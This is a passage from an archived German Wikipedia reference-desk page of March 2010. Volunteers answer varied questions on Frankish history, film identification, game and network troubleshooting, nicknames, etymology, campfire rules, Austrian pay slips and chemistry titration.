Steht doch in deiner Quelle: Die domestici, die große Fiskalbezirke verwalteten, standen zu dieser Zeit im Rang zwischen den duces/Herzögen und den comites/Grafen. Suchst du jetzt nach einem deutschen Wort dafür? Mal selbst unter Hausmeier nachgeschaut? Google bietet auch gewisse Hinweise. --Aalfons 18:23, 22. Mär. 2010 (CET)[Beantworten]
Übrigens: die IP von oben bin ich. War irgendwie nicht angemeldet.
Aber zurück zur Frage: den Absatz habe ich danach auch noch gesehen. Es ergeben sich aber Wiedersprüche. Zum einen sind in der alemannischen WP Chlodulf und Ansegisel gar nicht mit aufgeführt. Zum anderen sind in der deWP exakt die Herrschaftszeiten angegeben, die bei Mittelalter-Genealogie als Zeiten als domestici angegeben sind. Daher kam meine Vermutung von oben. (Mittelalter-Genealogie hat zwei Artikel über Ansegisel? [4] und [5]) Der erste Link schreibt es schwarz auf weiß? Hausmeier ("Domesticus")?--Comm. makatau 18:54, 22. Mär. 2010 (CET)[Beantworten]
Ja. --Aalfons 21:02, 22. Mär. 2010 (CET)[Beantworten]
(Sorry, wieder unangemeldet) Aber warum stehen sie dann zwischen den duces/Herzögen und comites/Grafen? Die Hausmeier müssten doch eigentlich ziemlich bald nach dem Herrscher selbst in der Hierarchie stehen, gerade in dieser Zeit.--217.68.184.108 08:13, 23. Mär. 2010 (CET)[Beantworten]
In Austrien wird für die entsprechende Zeit Wulfoald als Hausmeier angegeben.--217.68.184.108 08:18, 23. Mär. 2010 (CET)[Beantworten]

Film gesucht

Hallo, ich suche folgenden Film, aus dem Weltall erscheint ein Mensch, nicht im unserem Sinn sondern in eine art platin farbige erscheinung der als Ziel die Weltvernischtung sieht, weiß jemand welcher film das sein könnte? --85.180.198.137 19:07, 22. Mär. 2010 (CET)[Beantworten]

Der Tag, an dem die Erde stillstand (1951)?--83.135.88.31 19:30, 22. Mär. 2010 (CET)[Beantworten]
Der Tag, an dem die Erde stillstand (2008)? --darkking3 Թ 19:47, 22. Mär. 2010 (CET)[Beantworten]
Der ist gut. --WissensDürster 20:00, 22. Mär. 2010 (CET)[Beantworten]
Der Silver Surfer geistert momentan doch auch durch irgendwelche TV-Spots. --Rudolph H 20:14, 22. Mär. 2010 (CET)[Beantworten]
Und der Silver Surfer ist auch die Hauptlektüre von Richard Gere als Jesse Lujack (der aber an den jungen Jean-Paul Belmondo nicht heranreicht) in dem auch ansonsten eher mißlungenen Remake Breathless (Atemlos) von 1983. :) --84.191.52.68 20:52, 22. Mär. 2010 (CET) [Beantworten]
Der ist auch gut, aber ich meine so ein anderen, es erscheint aus dem welltall eine Figur die aussieht wie ein Mensch und wie eine art eisen_Legierung hat. Und der sieht seine Aufgabe die wellt zu vernichten, einige Abschnitte kann kommen auch bei dieser Prosieben jetzt in HD Werbung. --85.180.197.118 09:40, 25. Mär. 2010 (CET)[Beantworten]

weiß keiner was ich meine? --85.180.201.54 11:47, 26. Mär. 2010 (CET)[Beantworten]

Hallo ??? --85.180.203.157 18:18, 26. Mär. 2010 (CET)[Beantworten]
Könnte Fantastic Four: Rise of the Silver Surfer sein…-- Spuki Séance 18:22, 26. Mär. 2010 (CET)[Beantworten]

Doom 3 auf Win 7

Hallo. Mein Bruder hat auf seinem PC Win 7 und hab versucht Doom 3 nach erfolgreicher Installation zu starten. Leider läuft das Spiel auf Grund einer Fehlermeldung nicht, auch wenn ich es unter Kontabilität als Administrator ausführen will, so lässt es sich nicht starten. Kann es daher sein dass Doom 3 auf Windows 7 nicht läuft? 80.108.35.233 20:09, 22. Mär. 2010 (CET)[Beantworten]

Da wäre es jetzt schon hilfreich, wenn du uns den Inhalt der Fehlermeldung mitteilen könntest, denn es gibt deren viele, und im ganz Trüben tun selbst wir uns nicht so leicht mit dem Fischen :) -- Grottenolm 21:30, 22. Mär. 2010 (CET) PS: Das Spiel läuft übrigens mitnichten auf Grund der Fehlermeldung nicht, sondern aufgrund des Fehlers selbst![Beantworten]

Hallo. Nicht dass ihr jetzt glaubt dass ich vom selben Computer schreib weil ich war vor einiger Zeit im Internetcafe und hab da mein Anliegen über Doom 3 auf Win 7 beschrieben. Nun, die Sache ist die, dass der PC von meinem Bruder angeschrieben hat dass er das Spiel nicht laden konnte obwohl mein Bruder ca. die selbe Gamergraphikkarte hat wie ich, ich hab auch nachgeschaut. 188.23.220.92 21:48, 22. Mär. 2010 (CET)[Beantworten]

Die Fehlermeldung war also: "Das Spiel konnte nicht geladen werden"? Etwas genauer müsste es dann schon sein. --62.226.212.235 22:09, 22. Mär. 2010 (CET)[Beantworten]
Du hast den Satz ernsthaft verstanden? Ich hab ihn mehrfach gelesen, aber verstehen tu ich ihn trotzdem nicht. --Wikus van de Merwe 23:51, 22. Mär. 2010 (CET)[Beantworten]

Sorry aber an den Satz kann ich mich nicht mehr genau erinnern, außerdem hab ich seltener auf den PC meines Bruders Zugriff. Aber gibt es trotzdem keine Wege herauszufinden ob Doom 3 auf Win 7 läuft? Weil auf Google hab ich auch nichts Richtiges gefunden. 188.23.220.92 22:18, 22. Mär. 2010 (CET)[Beantworten]

Mir stellt sich an diesem Punkt die T-Frage. -- Grottenolm 23:03, 22. Mär. 2010 (CET)[Beantworten]
Zum googlen: [6]. Also Spiel geht nicht, nach Windows-Update wohl ja. --Mps 12:30, 23. Mär. 2010 (CET)[Beantworten]
und zusätlich söllte er erst einmal seine Hausaufgaben erledigen, dass er sich ein wenig gescheiter in der deutschen Sprache üben möge, bevor er seinen alltäglichen Spielezockereien nachgehen kann um dabei sein Hirn abzuschalten.--91.14.82.51 12:25, 23. Mär. 2010 (CET)[Beantworten]

GTA:SA Screencast

Moin,

kennt jemand nen Tool für WinXP, das bei guten Frameraten GTA:SA aufzeichnen kann?

LG --93.104.107.41 21:02, 22. Mär. 2010 (CET)[Beantworten]

KLM:NO Plong. --HaSee 07:18, 23. Mär. 2010 (CET)[Beantworten]
Fraps dürfte bei jedem Windows-Spiel funktionieren. --MrBurns 08:14, 24. Mär. 2010 (CET)[Beantworten]

Was ist...

"Importsubstitution" und "Exportdiversifizierung"? Der Artikel Importsubstituierende Industrialisierung gibt zur Allgemeinbegriffsklärung nichts her. Sorry! Clas (nicht signierter Beitrag von 80.187.97.59 (Diskussion | Beiträge) 22:49, 22. Mär. 2010 (CET)) [Beantworten]

(Gesuchter Begriff) + (Begriff "Definition") + Google => Tiefe intellektuelle Befriedigung ;-) G! GG nil nisi bene 08:36, 23. Mär. 2010 (CET)[Beantworten]

Merkwürdige Video-Einbettung

Wieso schaffe ich (Mac OSX 10) es nicht, mir dieses brisante Videomaterial anzugucken? Ich hab schon das Browser-Plugin namens Silverlight runtergeladen, mit dem Ergebnis, dass mir das Video 30 Sekunden lang original genau gar nix anzeigt. Beim Versuch, es "mit einem externen Player" (da ist bei mir ausschließlich VLC im Angebot) zu öffnen, scheitere ich ebenso. Mein VLC zeigt ganz einfach gar nichts an sondern spielt stillschweigend das nächste Video in meiner Wiedergabeliste. Irgendwelche Tipps? Springbank 23:24, 22. Mär. 2010 (CET)[Beantworten]

Vielleicht weil dieses Video aus rechtlichen Gründen nur in Österreich abgespielt werden darf? :) (Zumindest stand es bei mir so im externen Player). --Pilettes 23:42, 22. Mär. 2010 (CET)[Beantworten]
Oh Gott, auf solche Widerstände stößt man also als Ösi in Berlin. Danke für die erhellende Auskunft. Springbank 23:45, 22. Mär. 2010 (CET)[Beantworten]
Da ich nur paar Kilometer von Ösiland entfernt wohne, interessiert es mich auch, was da vielleicht herüberschwappen könnte. Auch im Fernsehen lese ich öfters "Keine ORF-Rechte", wobei aber ein Musikantenstadel gleich aus mehreren Kanälen trieft und schleimt. Seltsam, seltsam.--91.56.203.76 08:19, 23. Mär. 2010 (CET)[Beantworten]
der Musikantenstadl ist auch eine Eurovision-Sendung. Zum anderen, Zitat aus dem Artikel Österreichischer Rundfunk: "Ende Jänner 2007 klagte der ORF gegen den Deutschen Kabelnetzbetreiber Kabel-BW, da der ORF in Deutschland nicht empfangen werden möchte. Nachdem der ORF Klage eingereicht hatte, nahm KabelBW die Sender sofort heraus. Der ORF kauft Film- und Serienrechte nur für Österreich und müsste bei einer Ausstrahlung in Deutschland auch diese Rechte kaufen, was aufgrund der hohen Kosten jedoch unmöglich ist." -- Heimli Hier werden Sie geholfen! 10:00, 23. Mär. 2010 (CET)[Beantworten]
I call BS. Die Verbreitung von ORF im KabelBW-Netz schwankt je nach Wohngebiet. In Ulm ist z. B. ORF2 rausgeflogen, ORF1 aber durchaus noch zu empfangen. Siehe hier[7] z. B. mit dieser Adresse: PLZ: 89079, Ort: Ulm, Straße: Abt-Modest-Platz, Hausnummer: 2 (Nein, das ist nicht meine Adresse, sondern die erste Adresse, die im Suchfenster bei dieser PLZ auftaucht) - "Fernsehen analog" in der Popup-Seite auswählen, Kanal K29.
In diesem [8] PDF sieht man auf Seite 3 in der rechten Spalte auch, dass es andere Anbieter gibt, die sogar noch beide ORF-Kanäle einspeisen.
Richtig ist: Der/Die Sender wird/werden von KabelBW nicht überall eingespeist, siehe z. B. die Adresse PLZ: 74321, Ort: Bietigheim-Bissingen, Straße: Aberlin-Jörg-Str., Hausnummer: 1 (Nein, das ist auch nicht meine Adresse, sondern wieder die erste Adresse, die im Suchfenster bei dieser PLZ auftaucht)
-- 78.43.60.58 20:40, 25. Mär. 2010 (CET)[Beantworten]

23. März 2010

Liste von verbreiteten Nicknames

Hallo

vielleicht könnt ihr mir weiterhelfen: ich suche eine Liste mit verbreiteten Nicknamens für Personen, wenn möglich für verschiedene Sprachen/Kulturkreise. Z.B. ist im Englischen Bill oft eine Abkürzung für William und Dick für Richard. Es gibt aber noch eine ganze Menge weitere und ohne entsprechendes Hintergrundwissen ist es schwer sie selber zu erfassen. Wisst ihr ob in Netz solche Listen verfügbar sind? Ich hab erstmal nichts brauchbares gefunden.

--Sanim 08:39, 23. Mär. 2010 (CET)[Beantworten]

Natalia --> Natascha (Russisch), José -> Pepe, Josefina -> Pepita (Spanisch), Anton -> Toni, Friedrich -> Fritz (D), Ulrich -> Ueli (Schweizerdeutsch), um mal nur ein paar Beispiele zu geben. -- Arcimboldo 08:45, 23. Mär. 2010 (CET)[Beantworten]
Hier sind englische Nicknames. Wenn du die durch hast, machen wir die französischen... G! GG nil nisi bene 08:53, 23. Mär. 2010 (CET)[Beantworten]
Hallo, soweit ich das sehe sind das aber Auflistungen von beliebigen Nicknames. Was mich interessiert sind solche die sehr häufig auftreten, wie eben die oben genannten. In etwa sowas wie eine 'Liste der 100 häufigst verwendeten Nicknames im Englischen'. Besonders interessiert bin ich dabei an Namen die von Person wirklich auch in der Öffentlichkeit geführt werden, z.B. tritt William Clinton in der Regel als Bill Clinton auf. Sanim 09:43, 23. Mär. 2010 (CET)[Beantworten]
Bill, Bob, Jack, Joe ... Kannst du dir vorstellen, dass es in den Südstaaten andere Häufigkeiten als an der Ostküste gibt? Dass junge Damen am Elite-Colleges anders be-nicknamed werden als die Töchter der Farmer im Midwesten? Dass Chinese Americans und Hispanic Americans leicht unterschiedliche NNs haben? Hiermit kannst du sehen, welche Gruppierungen was bevorzugen. Hier kannst du die ganze Farbigkeit von nicknames (und Listen!) finden. Oder du rechnest dir die Häufigkeit der normalen Namen hier aus, machst eine Hitliste und ordnest dann den Nickname zu.
Und noch eine Möglichkeit: Du nimmst obige Namen (Bill (-law: 224 Mill.), Bob (208 Mill.), Jack (233 Mill.), Joe (217 Mill. - aus irgendeinem Grund weigere ich mich, auch nach "Dick" zu suchen...) und vergleichst Google-Hits... Voilà!. Und wie immer: Der Hintergrund der Frage wäre interessant... G! GG nil nisi bene 10:07, 23. Mär. 2010 (CET)[Beantworten]
Ja, das kann ich mir gut vorstellen, deshalb auch die Frage nach verschiedenen Sprachen/Kulturen (damit meinetwegen auch Regionen). Ich kann jetzt natürlich die Listen, die in der englischsprachigen Wikipedia stehen Eintrag für Eintrag durchgehen und dann die häufigsten nehmen, aber ich hatte gehofft, dass solche Listen irgendwo schon fertig existieren und ich sie einfach nicht gefunden hätte. Es geht mir bei Nicknames (Ok, das war ich wohl ungenau) nicht um Dinge wie "The Admirable Doctor" für Roger Bacon sondern um Variationen bei Namensteilen (besonders dem Vornamen) die auch von den Personen in der Regel selber verwendet werden (wie z.B. Bill Clinton eben, der einen Nickname als Vornamen führt). Hintergrund ist ein Abgleich von Namen in Listen. Wenn man weiß, dass Richards of Dick genannt werden könnte man z.B. den Verdacht haben, dass ein Richard Meier und ein Dick Meier ein und die selber Person sind, die nur aus Versehen einmal unter ihrem bürgerlichen und einmal unter ihrem selbstbenutzten Namen auftreten. Solche Listen kann ich auch nicht mal eben selber machen, da mir dazu das Wissen zu verschiedenen Sprachen fehlt. Ich wäre z.B. nicht auf die Idee gekommen, dass Josefina -> Pepita ein häufig auftretendes Names-Paar ist. Sanim 11:35, 23. Mär. 2010 (CET)[Beantworten]
Das gibt's aber nicht nur auf Englisch. Auch auf Deutsch gibt's viele Leute, die eigentlich z.B. Johann oder Josef heißen, in der Öffentlichkeit aber eher als Hans oder Pepi/Sepp bekannt sind. z.B. Hans Krankl oder Sepp Herberger. --MrBurns 10:27, 23. Mär. 2010 (CET)[Beantworten]
Dazu aus Italien Gianna für Giovanna und Gianni für Giovanni. Einer der komischsten ist eigentlich der deutsche Hajo, bei dem die erste Silbe eigentlich schon ein Nickname war, wenn auch normalerweise schon auf dem Taufzeugnis. BerlinerSchule. 13:36, 23. Mär. 2010 (CET)[Beantworten]

Spitznamen sind natürlich ein weltweites Phänomen, das es wahrscheinlich in allen Sprachen gibt. Das Leute aber auch auf mehr oder weniger offiziösen Dokumenten mit ihrem Spitznamen aufgeführt werden, oder gar mit ihrem Nick unterschreiben, wäre mir in größerem Maßstab eigentlich nur aus dem (amerikanischen) Englisch bekannt (außer bei Künstler- und Ordensnamen, aber das ist wieder ein anderes Thema). Etliche gebräuchliche englische Nicks wurden schon von G.G. genannt (daneben fallen mir Tom, Pat, Jim ein). Allerdings wären auch nach Häufigkeit sortierte Listen von Nicks nur von begrenztem Wert, wenn Du z.B. einen Lewis Libby neben einem Scooter Libby fändest. Da hat der Spitzname nichts mit dem Taufnamen zu tun, und dennoch ist es ein und die selbe Person... Ugha-ugha 14:37, 23. Mär. 2010 (CET) Nachtrag, weitere Erschwernis: derselbe Taufname kann sich in mehrere Spitznamen weiterentwickeln, nicht nur einen. Vgl.: Bram Stoker und Abe Lincoln. Ugha-ugha 00:00, 24. Mär. 2010 (CET)[Beantworten]

Siehe auch: en:Hypocorism --95.223.207.169 00:19, 24. Mär. 2010 (CET)[Beantworten]
Was für seltsame Spitznamen haben wir denn da im Deutschen? Ein Gustav wird bei uns Gus oder Gilroy genannt? Und aus einem Karl wird ein K. Friedrich? Dolfz für Adolf kling auch interessant... Ugha-ugha 07:19, 24. Mär. 2010 (CET)[Beantworten]
Da scheint sich ein Spaßvogel am englischen Artikel verlustiert zu haben ... -- Arcimboldo 07:27, 24. Mär. 2010 (CET) PS: da wars, eine IP aus Ohio. Habe die Sektion mal geleert und nur drei neue eigene eingefuegt, vielleicht koennen die Auskuenftler beim verbesserten Wiederaufbau mithelfen.[Beantworten]
Wie siehts denn aus mit Rudi (Rudolf), Max (-imilian), Anni (Anna/Anne), Tine (Christine/-a)? Und zumindest in meiner Generation heißt ein Florian meist Flo, ein Sebastian Basti, eine Julia(ne) Jule; auch wenn ich nicht weiß, inwiefern sich Betroffene tatsächlich unter diesen Namen vorstellen (nur zu Jule fällt mir ein Beispiel ein, das aber nun auch nicht mehr Jule heißen will). Zu Josef fällt mir (ergänzend zur Liste in en:) noch, obwohl geographisch seeehr fern sehend, der Name Jupp ein. Und eine Ursula würde zumindest hier im Ossiland wohl eher Ursel als Uschi heißen. --slg 01:04, 25. Mär. 2010 (CET)[Beantworten]
Yes! It's a wiki... --Arcimboldo 03:22, 25. Mär. 2010 (CET)[Beantworten]

Gleicher Wortstamm ?

das niederländische verb fokken (züchten), das deutsche ficken und das englische to fuck- sind diese auf ein und dasselbe (ursprungs-)wort zurückzuführen? --79.197.29.50 12:23, 23. Mär. 2010 (CET)[Beantworten]

Ja, yes, ja. (Friedrich Kluge: Ethymologisches Wörterbuch, de Gruyter, Berlin/New York 1995, ISBN 3-11-012922-1) --Dansker 13:25, 23. Mär. 2010 (CET)[Beantworten]
Und willst du auch wissen, auf welches? Vermutlich auf das rekonstruierte indogermanische *peuk- "stoßen". --Aalfons 14:00, 23. Mär. 2010 (CET)[Beantworten]
Und wie ist es mit latein. facere? --90.128.126.4 14:22, 23. Mär. 2010 (CET)[Beantworten]
Nüschte. Verwandtes deutsches Wort zu facere "machen" ist tun, westgermanisch *do- "tun", Ausgangswort ist indogerm. *dhe- "setzen"; die lateinische Form ist eine ungewöhnlich wirkende sog. k-Erweiterung. Facere, um das gleich vorweg zu nehmen, ist nicht nur nicht mit fuck verwandt, sondern auch nicht mit fake, das wohl auf germanisch fegen "aufräumen, säubern" zurückzuführen ist. (Kluge 25. A., OED 2. A., Walde 1. A.) --Aalfons 14:36, 23. Mär. 2010 (CET)[Beantworten]
Ein Niederländer erzählte mir folgende nicht ganz jugendfreie Anekdote: Die Queen war auf Staatsbesuch in den Niederlanden und wurde von Königin Beatrix in einer Kutsche ausgeführt. Die Queen bemerkte dabei mit Blick auf die Pferde "You have very nice horses", worauf die Königin antwortete: "Yes, I fokk them". --Cú Faoil RM-RH 17:30, 23. Mär. 2010 (CET)[Beantworten]
*ROFL* Made my day! And reminds me of w:en:Dead Men Don't Wear Plaid. --Geri 17:42, 23. Mär. 2010 (CET)[Beantworten]
Und noch einer: Major Cunningham erzählt seinen Enkeln von der Luftschlacht um England. "One day, the boys and me where on a recon-flight over the Channel. Suddenly there appeared these german Fuckers, and sored down at us, right out of the sun!" Die Tante ist schockiert. "Oh my dear! I assume, you refer to Fokkers, don't you?" -- "Of course, excuse me. Well, now there wehre these Fokkers, sitting in their Messerschmidts and..." Ugha-ugha 18:13, 23. Mär. 2010 (CET)[Beantworten]

Himmlische Boten

Hat man einen Meteoriten oder Bruchstücke eines Asteroiden auf der Erde kann man die Zusammensetzung sehr schön untersuchen. Ist er noch oben, ist es nicht ganz so einfach.

  • Frage: Welche Elemente jenseits der Ordnungszahl 18 (Ar) (= höher als 18) lassen sich in bewegten A. oder M. feststellen? Welche Methoden liefern diese Daten und wo sind die Nachweisgrenzen? (Muss mich an die Wissenden wenden, da meine eigene Suche durch die auf der Erde generierten Daten verunreinigt wird). G! GG nil nisi bene 12:31, 23. Mär. 2010 (CET)[Beantworten]
Allgemein Spektroskopie. Das können alle möglichen Elemente sein. Vermute dass diejenigen Papers, die den Vorbeiflug an solchen Objekten behandeln, am ausgiebigsten sind, also Thema Vorbeiflugsonde. Hier kann man am genauesten beobachten. Andererseits werden auch die nahe vorbei fliegenden Objekte einer Untersuchung durch diverse Projekte unterzogen, die Zeit ist aber sehr kurz für Abmessung via Radiowellen und vielleicht Laserspektroskopie. Schlussendlich dann astronomische Beobachtungen, bei denen aber zu beachten ist, dass Sonnenlicht reflektiert wird und daher gewisse Spektrallinien bereits fehlen.
Mein Tip also: Google Scholar mit: Giotto, ISEE-3/ICE, Deep Impact, Deep Space etc. --Ayacop 16:09, 23. Mär. 2010 (CET)[Beantworten]
Danke, das sind Anhaltspunkte, werde suchen. Vielleicht fällt etwas für den Artikel ab. G! GG nil nisi bene 09:21, 24. Mär. 2010 (CET)[Beantworten]

Open Source CAD-Software

Hallo Wikipedianer,

ich suche eine Open Source CAD-Software, die ich per VB.Net steuern kann. Über Google finde ich leider nichts Vernünftiges! Hat irgendjemand Vorschläge, so was wie AutoCad oder Microstation, aber eben Open Source (kostenfrei)

Gruß--109.41.31.87 12:31, 23. Mär. 2010 (CET)[Beantworten]

sowas suche ich auch, ich brauch aber das VB.net nicht.--134.2.3.103 12:58, 23. Mär. 2010 (CET)[Beantworten]
Wie wär's mit QCad? Allerdings wohl ohne VB. Ansonsten mal die Artikel in Kategorie:Freie CAD-Software durchsehen… --El Grafo 20:29, 23. Mär. 2010 (CET)[Beantworten]

Lagerfeuer in der freien Landschaft

Hallo, ist es eigentlich erlaubt, einfach so am Wegesrand, Seeufer, Strand oder Wald ein Lagerfeuer anzumachen? In Naturschutzgebieten ist es ja immer ausdrücklich auf den Schildern verboten. Aber außerhalb dieser "Verbotszonen"? Danke für die Antworten! --Patrice77 13:39, 23. Mär. 2010 (CET)[Beantworten]

kommt auf die regulierungsbehörde an... also da nachfragen... beim rathaus oder so kriegt man rat... --Heimschützenzentrum (?) 13:50, 23. Mär. 2010 (CET)[Beantworten]
Grundsätzlich ist es in Deutschland erlaubt. Es gibt allerdings einige Einschränkungen; im Wald z.B. darfst du es natürlich nicht. Und bestimmte Dinge nicht verbrennen. Und niemanden belästigen. - Vielleicht hilft dieses PDF aus Niedersachsen weiter: [9] --Joyborg 13:57, 23. Mär. 2010 (CET)[Beantworten]
BK:Soweit ich weiss, gibt es da bundesweit keine einheitliche Regelung. Das regelt die untere Naturschutzbehörde beim Landratsamt, das auch die Gegend in verschiedene Umwelt-Schutzzonen eingeteilt hat. Meistens ist in den freien Zonen das Grillen mit einem (mitgebrachten) eisernen Grill erlaubt. Am Boden generell nicht. Dann gibt es auch Zeiten und Abstände zu beachten. Sicherlich gibt da Dein Landratsamt ein Merkblatt heraus, oder einfach mal dort anfragen. Bei den meisten meldet sich noch jemand, ohne dass Du ja, nein, sagen oder einsen, zweien drücken musst und dann eine Hotline in Maastricht keine Ahnung hat.--91.56.204.158 13:58, 23. Mär. 2010 (CET)[Beantworten]
Unbedingt anmelden, ist öfterst schon passiert das ein privates Feuer für einen Einsatz der Feuerwehr inkl. Polizei gesorgt hat, weil besorgte Anwohner die Polizei verständigten.Crimecity hro 18:20, 23. Mär. 2010 (CET)[Beantworten]
In Berlin, wo es immer Sommer oft sehr trocken ist (nur für manche Touristen stellt man drei Tage Regen hintereinander auf die Beine, klappt aber selten), wird regelmäßig eine Waldbrandgefahrstufe ausgerufen. Die verkünden die Medien und dann ist es streng verboten, bei einem Waldspaziergang zu rauchen. BerlinerSchule. 20:02, 23. Mär. 2010 (CET)[Beantworten]
Waldbrandstufen sind nicht nur auf den Sommer beschränkt, soll auch welche im Winter geben. Teilweise ist die auch lediglich in der Gemeindeordnung oder einer allgemeinen Brandschutzverordnung geregelt. Dazu kommt, ob es sich um allgemein zugängliches Privatgelände oder öffentlichen Grund handelt. Im ersten Fall gilt das BGB für die Nutzung fremden Eigentums, wonach aus einem stillschweigenden Wegerecht keine weiteren Nutzungen abzuleiten sind. Und natürlich ist das Problem bei Lagerfeuern neben dem Brandschutz vor allem, wer räumt die Glutreste und den sonstigen Müll weg. Denn da liegen meist die kostenaufwändigen Folgen, um die man sich streitet.Oliver S.Y. 21:11, 23. Mär. 2010 (CET)[Beantworten]
immer mal wieder: Laub verbrennen im Garten
Hier in der Gegend wird das von den Gemeinden jedes Jahr neu festgelegt. Mal ist das Verbrennen von Bauholz erlaubt, im nächsten Jahr wieder darf man Baumholz verbrennen. Wenn es dann zu sehr qualmt, kann schon die Feuerwehr erscheinen, man sollte einen guten Kontakt dorthin haben ;) --Marcela 21:21, 23. Mär. 2010 (CET)[Beantworten]
In manchen, sonst atheistisch geprägten Regionen, sollen ja deshalb auch Osterfeuer und Sommerwendfeuer besonders beliebt sein^^, weil man da diesen Holzmüll (und wohl auch Sperrmüll) kontrolliert mit viel Spaß gemeinsam entsorgen kann. ^^ - aber das könnten ggf. die selben Gemeinden sein, die Ralf meint.Oliver S.Y. 21:29, 23. Mär. 2010 (CET)[Beantworten]
<offtopic> In Finnland würde man gesteinigt, wenn das Juhannus-Feuer aus Abfällen gemacht würde ;) --Marcela 21:48, 23. Mär. 2010 (CET)[Beantworten]

Lohnzettel bei geringfügiger Beschäftigung zwischen Privatpersonen

Situation: In Österreich beschäftigt Alice Bob geringfügig für Gartenarbeit u. a. Da keine Lohnsteuer anfällt, verzichten sie auf monatliche Lohnzettel, und es funktioniert soweit gut. Bob stellt aber einmal einen Antrag auf Sozialhilfe. Das Sozialamt verlangt monatliche Nettolohnzettel für diese geringfügige Beschäftigung. Also wird Alice, Bob zuliebe, welche schreiben. Aber wie müssen die aussehen, was muss da alles draufstehen? --77.117.244.2 14:22, 23. Mär. 2010 (CET)[Beantworten]

Also auch wenn ich mich mit österreichischem Sozialhilferecht auskennen würde, hätte ich vermutlich das Gefühl, dass das hier nicht der richtige Ort für diese Frage ist. Wenn ein Anwalt zu teuer ist, würde ich mal beim Amt nachfragen, was drauf stehen soll! --Snevern 14:26, 23. Mär. 2010 (CET)[Beantworten]
Ein Anwalt für so eine allgemeine Auskunft? Die Telefonistinnen im Amt wiederholen leider immer nur gebetsmühlenartig, ein "ganz normaler Lohnzettel". --77.117.244.2 15:10, 23. Mär. 2010 (CET)[Beantworten]

da mal lesen: Geringfügige_Beschäftigung#Geringf.C3.BCgige_Besch.C3.A4ftigung_in_.C3.96sterreich? oder da: http://www.wkw.at/docextern/abtfinpol/extranet/wkoat/Lohnverrechnung/DerLohnzettelwko.pdf --Heimschützenzentrum (?) 15:19, 23. Mär. 2010 (CET)[Beantworten]

Danke soweit, aber der verlinkte Jahreslohnzettel ist nicht gemeint. Mal anders gefragt: Was kriegt denn der ganz normale Arbeitnehmer monatlich für ein Papier, und was steht da alles drauf? --77.117.244.2 16:32, 23. Mär. 2010 (CET)[Beantworten]
als ich noch versicherungspflichtig gearbeitet habe, stand da der monat, das jahr, mein name, meine adresse, der arbeitgeber, das brutto gehalt, die abzüge, das netto gehalt und die ganzen zuschläge für steuerfreie nachtarbeit z b und so... --Heimschützenzentrum (?) 16:44, 23. Mär. 2010 (CET)[Beantworten]
Wärs bei so einer Situation nicht einfacher, Bob schreibt Alice regelmäßige Rechnungen für eine Tätigkeit als selbstständiger Landschaftspfleger? Das müsste das Sozialamt doch auch akzeptieren. --DuckobertDag 17:35, 24. Mär. 2010 (CET)[Beantworten]

Komische Rechenspiele

Ich habe gerade eine Zusammenfassung zum Thema extremistische Straftaten gelesen. Anscheinden gab es letztes Jahr um die 360 rechtsextremistische Gewalttaten gegen Ausländer. Insgesammt aber 19400 rechtsextremistische Straftaten. Haben die 19tausend mal den Arm gehoben, sind das größtenteils Straftaten im Internet oder was kann ich mir darunter vorstellen? (Am Besten wäre natürlich ein Link auf die ursprüngliche Statistik) --81.200.198.20 15:06, 23. Mär. 2010 (CET)[Beantworten]

Noch nicht ganz vollständig, aber die Verteilung wird klar: http://www.petrapau.de/16_bundestag/dok/down/2009_zf-rechtsextreme-straftaten.pdf. Der erhobene Arm, das Hakenkreuz, die Schulhof-CD, ... --Eike 15:29, 23. Mär. 2010 (CET)[Beantworten]

Netzwerk-verbindungs-probleme

Obwohl bester Empfang mittels WLAN werden Netzseiten frustrierend langsam aufgebaut. Folgende Fehlermeldung: HTTPS: Fehler 12037 beim Herstellen der Verbindung mit www.passport.net: The date in the certificate is invalid or has expired Kann mich jemand beratschlagen?--91.14.64.181 15:32, 23. Mär. 2010 (CET)[Beantworten]

das ist n fehler beim http server... da solltest du bei denen (passport.net) nachfragen, wenn s dir wichtig genug iss... --Heimschützenzentrum (?) 15:38, 23. Mär. 2010 (CET)[Beantworten]
nun ja - was fürn datum hast du denn auf deinem rechner? also für mich ist das zertifikat gültig bis mitte 2010... --Heimschützenzentrum (?) 15:41, 23. Mär. 2010 (CET)[Beantworten]
Lease läuft am 2.4.10 ab, Datum ist das aktuelle, habe mir auf Empfehlung eines Forums hin auch da Programm Network Stumbler heruntergeladen, weiß aber nicht recht was das mir laiienhaften Netzwerkstümperers zu leisten vermag.--91.14.64.181 15:46, 23. Mär. 2010 (CET)[Beantworten]
Grundsätzlich: HTTPS-Server senden dir (deinem Browser) beim ersten Mal des Aufrufens einer entsprechenden Seite ein Zertifikat, das du bestätigen musst um, über eine dann sichere Verbindung, auf die Inhalte zugreifen zu können. Es kann da bei der Übertragung natürlich etwas schiefgehen. Und auch beim Speichern in deinem Certificate Store (Oops! Rot? Zertifikatsspeicher vielleicht? Auch? Dann Digitales Zertifikat). Versuch mal das Zertifikat dort zu löschen und es neu zu bestätigen. (Betriebssystem und Browser zu kennen wäre von Vorteil, um dir detaillierter weiterhelfen zu können.) --Geri 17:09, 23. Mär. 2010 (CET)[Beantworten]
PS: Obwohl die Übertragung via HTTPS, aufgrund der Verschlüsselung und des vermehrten Overheads bei den Daten, natürlich etwas langsamer vonstatten geht, sollte das i.A. nicht frustrierend langsamer geschehen. --Geri 17:16, 23. Mär. 2010 (CET)[Beantworten]

Titration von Natronlauge

hallo ich möchte gerne die reaktionsgleichung von der titration von natronlauge wissen! Den Ansatz habe ich schon, komme aber nicht weiter: Cl+H3O+Na+OH --> weiter weiß ich nicht. bitte um rückmeldung (nicht signierter Beitrag von 91.51.45.251 (Diskussion | Beiträge) 17:24, 23. Mär. 2010 (CET)) [Beantworten]

Hier fehlt es schon im Ansatz an allen Grundlagen; vielleicht hilft dafür erst mal der Artikel Säure-Base-Titration etwas weiter. Gruß -- Dr.cueppers - Disk. 17:32, 23. Mär. 2010 (CET)[Beantworten]
Es fehlt, dass Cl und OH negativ geladen, H3O und Na positiv geladen sind. Wenn nun H3O+ und OH- zusammentreffen, werden daraus durch Austausch eines H+ zwei Wassermoleküle. Die übrigen Ionen bleiben, wie der Name schon sagt, übrig. Hilft dir das weiter? --Sr. F 19:09, 23. Mär. 2010 (CET)[Beantworten]
Gefragt war nach der Titration "von" Natronlauge; der Ansatz beschreibt die Titration "von" Salzsäure (mit Natronlauge). Gruß -- Dr.cueppers - Disk. 19:17, 23. Mär. 2010 (CET)[Beantworten]
Die Gleichung ist aber dieselbe. --Sr. F 19:55, 23. Mär. 2010 (CET)[Beantworten]
